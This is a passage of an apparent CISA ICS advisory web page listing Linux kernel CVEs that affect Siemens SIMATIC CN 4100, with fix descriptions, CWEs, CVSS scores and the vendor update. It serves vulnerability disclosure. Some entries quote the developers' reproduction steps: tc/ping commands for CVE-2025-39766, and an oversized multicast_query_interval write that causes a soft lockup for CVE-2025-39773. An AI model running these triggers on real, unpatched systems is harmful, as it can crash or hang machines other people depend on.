<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39757</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 cluster segment descriptors UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too. Otherwise malicious firmware may lead to the unexpected OOB accesses.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39757">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39759</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix race between quota disable and quota rescan ioctl There's a race between a task disabling quotas and another running the rescan ioctl that can result in a use-after-free of qgroup records from the fs_info-&gt;qgroup_tree rbtree. This happens as follows: 1) Task A enters btrfs_ioctl_quota_rescan() -&gt; btrfs_qgroup_rescan(); 2) Task B enters btrfs_quota_disable() and calls btrfs_qgroup_wait_for_completion(), which does nothing because at that point fs_info-&gt;qgroup_rescan_running is false (it wasn't set yet by task A); 3) Task B calls btrfs_free_qgroup_config() which starts freeing qgroups from fs_info-&gt;qgroup_tree without taking the lock fs_info-&gt;qgroup_lock; 4) Task A enters qgroup_rescan_zero_tracking() which starts iterating the fs_info-&gt;qgroup_tree tree while holding fs_info-&gt;qgroup_lock, but task B is freeing qgroup records from that tree without holding the lock, resulting in a use-after-free. Fix this by taking fs_info-&gt;qgroup_lock at btrfs_free_qgroup_config(). Also at btrfs_qgroup_rescan() don't start the rescan worker if quotas were already disabled.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39759">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39760</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: usb: core: config: Prevent OOB read in SS endpoint companion parsing usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size. Fix this up by checking the size first before looking at any of the fields in the descriptor.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39760">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39766</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: Make cake_enqueue return NET_XMIT_CN when past buffer_limit The following setup can trigger a WARNING in htb_activate due to the condition: !cl-&gt;leaf.q-&gt;q.qlen tc qdisc del dev lo root tc qdisc add dev lo root handle 1: htb default 1 tc class add dev lo parent 1: classid 1:1 \ htb rate 64bit tc qdisc add dev lo parent 1:1 handle f: \ cake memlimit 1b ping -I lo -f -c1 -s64 -W0.001 127.0.0.1 This is because the low memlimit leads to a low buffer_limit, which causes packet dropping. However, cake_enqueue still returns NET_XMIT_SUCCESS, causing htb_enqueue to call htb_activate with an empty child qdisc. We should return NET_XMIT_CN when packets are dropped from the same tin and flow. I do not believe return value of NET_XMIT_CN is necessary for packet drops in the case of ack filtering, as that is meant to optimize performance, not to signal congestion.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39766">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39770</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 ("net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets"): "The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices." kernel log output (truncated): WARNING: CPU: 1 PID: 5273 at net/core/dev.c:3535 skb_warn_bad_offload+0x81/0x140 ... Call Trace: skb_checksum_help+0x12a/0x1f0 validate_xmit_skb+0x1a3/0x2d0 validate_xmit_skb_list+0x4f/0x80 sch_direct_xmit+0x1a2/0x380 __dev_xmit_skb+0x242/0x670 __dev_queue_xmit+0x3fc/0x7f0 ip6_finish_output2+0x25e/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_tnl_xmit+0x608/0xc00 [ip6_tunnel] ip6gre_tunnel_xmit+0x1c0/0x390 [ip6_gre] dev_hard_start_xmit+0x63/0x1c0 __dev_queue_xmit+0x6d0/0x7f0 ip6_finish_output2+0x214/0x5d0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 ip6_finish_output+0x1fc/0x3f0 ip6_xmit+0x2ca/0x6f0 inet6_csk_xmit+0xeb/0x150 __tcp_transmit_skb+0x555/0xa80 tcp_write_xmit+0x32a/0xe90 tcp_sendmsg_locked+0x437/0x1110 tcp_sendmsg+0x2f/0x50 ... skb linear: 00000000: e4 3d 1a 7d ec 30 e4 3d 1a 7e 5d 90 86 dd 60 0e skb linear: 00000010: 00 0a 1b 34 3c 40 20 11 00 00 00 00 00 00 00 00 skb linear: 00000020: 00 00 00 00 00 12 20 11 00 00 00 00 00 00 00 00 skb linear: 00000030: 00 00 00 00 00 11 2f 00 04 01 04 01 01 00 00 00 skb linear: 00000040: 86 dd 60 0e 00 0a 1b 00 06 40 20 23 00 00 00 00 skb linear: 00000050: 00 00 00 00 00 00 00 00 00 12 20 23 00 00 00 00 skb linear: 00000060: 00 00 00 00 00 00 00 00 00 11 bf 96 14 51 13 f9 skb linear: 00000070: ae 27 a0 a8 2b e3 80 18 00 40 5b 6f 00 00 01 01 skb linear: 00000080: 08 0a 42 d4 50 d5 4b 70 f8 1a</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39770">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/573.html">CWE-573 Improper Following of Specification by Caller</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39772</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drm/hisilicon/hibmc: fix the hibmc loaded failed bug When hibmc loaded failed, the driver use hibmc_unload to free the resource, but the mutexes in mode.config are not init, which will access an NULL pointer. Just change goto statement to return, because hibnc_hw_init() doesn't need to free anything.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39772">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39773</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: bridge: fix soft lockup in br_multicast_query_expired() When set multicast_query_interval to a large value, the local variable 'time' in br_multicast_send_query() may overflow. If the time is smaller than jiffies, the timer will expire immediately, and then call mod_timer() again, which creates a loop and may trigger the following soft lockup issue. watchdog: BUG: soft lockup - CPU#1 stuck for 221s! [rb_consumer:66] CPU: 1 UID: 0 PID: 66 Comm: rb_consumer Not tainted 6.16.0+ #259 PREEMPT(none) Call Trace: __netdev_alloc_skb+0x2e/0x3a0 br_ip6_multicast_alloc_query+0x212/0x1b70 __br_multicast_send_query+0x376/0xac0 br_multicast_send_query+0x299/0x510 br_multicast_query_expired.constprop.0+0x16d/0x1b0 call_timer_fn+0x3b/0x2a0 __run_timers+0x619/0x950 run_timer_softirq+0x11c/0x220 handle_softirqs+0x18e/0x560 __irq_exit_rcu+0x158/0x1a0 sysvec_apic_timer_interrupt+0x76/0x90 This issue can be reproduced with: ip link add br0 type bridge echo 1 &gt; /sys/class/net/br0/bridge/multicast_querier echo 0xffffffffffffffff &gt; /sys/class/net/br0/bridge/multicast_query_interval ip link set dev br0 up The multicast_startup_query_interval can also cause this issue. Similar to the commit 99b40610956a ("net: bridge: mcast: add and enforce query interval minimum"), add check for the query interval maximum to fix this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39773">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/667.html">CWE-667 Improper Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39776</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/debug_vm_pgtable: clear page table entries at destroy_args() The mm/debug_vm_pagetable test allocates manually page table entries for the tests it runs, using also its manually allocated mm_struct. That in itself is ok, but when it exits, at destroy_args() it fails to clear those entries with the *_clear functions. The problem is that leaves stale entries. If another process allocates an mm_struct with a pgd at the same address, it may end up running into the stale entry. This is happening in practice on a debug kernel with CONFIG_DEBUG_VM_PGTABLE=y, for example this is the output with some extra debugging I added (it prints a warning trace if pgtables_bytes goes negative, in addition to the warning at check_mm() function): [ 2.539353] debug_vm_pgtable: [get_random_vaddr ]: random_vaddr is 0x7ea247140000 [ 2.539366] kmem_cache info [ 2.539374] kmem_cachep 0x000000002ce82385 - freelist 0x0000000000000000 - offset 0x508 [ 2.539447] debug_vm_pgtable: [init_args ]: args-&gt;mm is 0x000000002267cc9e (...) [ 2.552800] WARNING: CPU: 5 PID: 116 at include/linux/mm.h:2841 free_pud_range+0x8bc/0x8d0 [ 2.552816] Modules linked in: [ 2.552843] CPU: 5 UID: 0 PID: 116 Comm: modprobe Not tainted 6.12.0-105.debug_vm2.el10.ppc64le+debug #1 VOLUNTARY [ 2.552859] Hardware name: IBM,9009-41A POWER9 (architected) 0x4e0202 0xf000005 of:IBM,FW910.00 (VL910_062) hv:phyp pSeries [ 2.552872] NIP: c0000000007eef3c LR: c0000000007eef30 CTR: c0000000003d8c90 [ 2.552885] REGS: c0000000622e73b0 TRAP: 0700 Not tainted (6.12.0-105.debug_vm2.el10.ppc64le+debug) [ 2.552899] MSR: 800000000282b033 CR: 24002822 XER: 0000000a [ 2.552954] CFAR: c0000000008f03f0 IRQMASK: 0 [ 2.552954] GPR00: c0000000007eef30 c0000000622e7650 c000000002b1ac00 0000000000000001 [ 2.552954] GPR04: 0000000000000008 0000000000000000 c0000000007eef30 ffffffffffffffff [ 2.552954] GPR08: 00000000ffff00f5 0000000000000001 0000000000000048 0000000000004000 [ 2.552954] GPR12: 00000003fa440000 c000000017ffa300 c0000000051d9f80 ffffffffffffffdb [ 2.552954] GPR16: 0000000000000000 0000000000000008 000000000000000a 60000000000000e0 [ 2.552954] GPR20: 4080000000000000 c0000000113af038 00007fffcf130000 0000700000000000 [ 2.552954] GPR24: c000000062a6a000 0000000000000001 8000000062a68000 0000000000000001 [ 2.552954] GPR28: 000000000000000a c000000062ebc600 0000000000002000 c000000062ebc760 [ 2.553170] NIP [c0000000007eef3c] free_pud_range+0x8bc/0x8d0 [ 2.553185] LR [c0000000007eef30] free_pud_range+0x8b0/0x8d0 [ 2.553199] Call Trace: [ 2.553207] [c0000000622e7650] [c0000000007eef30] free_pud_range+0x8b0/0x8d0 (unreliable) [ 2.553229] [c0000000622e7750] [c0000000007f40b4] free_pgd_range+0x284/0x3b0 [ 2.553248] [c0000000622e7800] [c0000000007f4630] free_pgtables+0x450/0x570 [ 2.553274] [c0000000622e78e0] [c0000000008161c0] exit_mmap+0x250/0x650 [ 2.553292] [c0000000622e7a30] [c0000000001b95b8] __mmput+0x98/0x290 [ 2.558344] [c0000000622e7a80] [c0000000001d1018] exit_mm+0x118/0x1b0 [ 2.558361] [c0000000622e7ac0] [c0000000001d141c] do_exit+0x2ec/0x870 [ 2.558376] [c0000000622e7b60] [c0000000001d1ca8] do_group_exit+0x88/0x150 [ 2.558391] [c0000000622e7bb0] [c0000000001d1db8] sys_exit_group+0x48/0x50 [ 2.558407] [c0000000622e7be0] [c00000000003d810] system_call_exception+0x1e0/0x4c0 [ 2.558423] [c0000000622e7e50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec (...) [ 2.558892] ---[ end trace 0000000000000000 ]--- [ 2.559022] BUG: Bad rss-counter state mm:000000002267cc9e type:MM_ANONPAGES val:1 [ 2.559037] BUG: non-zero pgtables_bytes on freeing mm: -6144 Here the modprobe process ended up with an allocated mm_struct from the mm_struct slab that was used before by the debug_vm_pgtable test. That is not a problem, since the mm_stru ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39776">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39782</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39782">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39783</a></h3>
<div class="csaf-accordion-content">
